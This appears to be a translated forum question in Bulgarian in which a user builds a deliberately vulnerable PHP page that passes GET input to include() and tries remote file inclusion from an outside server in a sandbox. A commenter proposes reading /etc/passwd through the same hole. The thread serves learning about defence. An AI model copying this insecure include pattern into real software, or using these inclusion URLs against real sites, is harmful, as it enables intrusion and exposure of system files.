Настроих пясъчна среда и се опитвам да стартирам експлойти, за да мога по-добре да разбера как по-добре да се защитавам срещу тях. Когато стартирам следното, процесът се проваля както трябва и по правилната причина. Но тогава не съм сигурен, защото не мога да намеря много "как да напиша правилен експлойт". Ето моят код и следва съобщението при неуспех. Всякакви насоки биха били чудесни.
//unform.php (unprotected form)
<html>
<head>
<title>Try An Exploit</title>
<?php
if (!empty($_GET)){
foreach($_GET as $key=>$value){
${$key} = $value;
}
}
//no sanitizer here.
echo $key;
include($value);
?>
</head>
<body>
<h1>This Is Bad</h1>
<form action="#" method="get">
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit" value="Kick Me" />
</form>
</body>
Скрипт за експлоатация, прости неща:
exploit.php
<?php
$somevar = "This is just a string";
echo $somevar;
?>
Лошият човек би кодирал трудно следното в адресната лента на браузъра си:
http://www.sandbox.com/path/to/unform.php?COLOR=http://www.remoteserv.com/exploit.php
Изход към браузъра при опит за зареждане на адреса:
Warning: include() [function.include]: http:// wrapper is disabled in the server configuration by allow_url_include=0
Така ли е? Или има друга техника, за която трябва да търся?
Благодаря
http://www.sandbox.com/path/to/unform.php?COLOR=/etc/passwd
... това все още трябва да работи добре (освен ако няматеopen_basedir
зададено ограничение). - person newfurniturey   schedule 29.09.2012include
нещо идва от потребител (да се чете: потенциален нападател), особено без подходяща дезинфекция, не трябва да програмирате. Най-често срещаните експлойти в уебсайтове са XSS, SQL инжектиране и CSRF. - person NullUserException   schedule 29.09.2012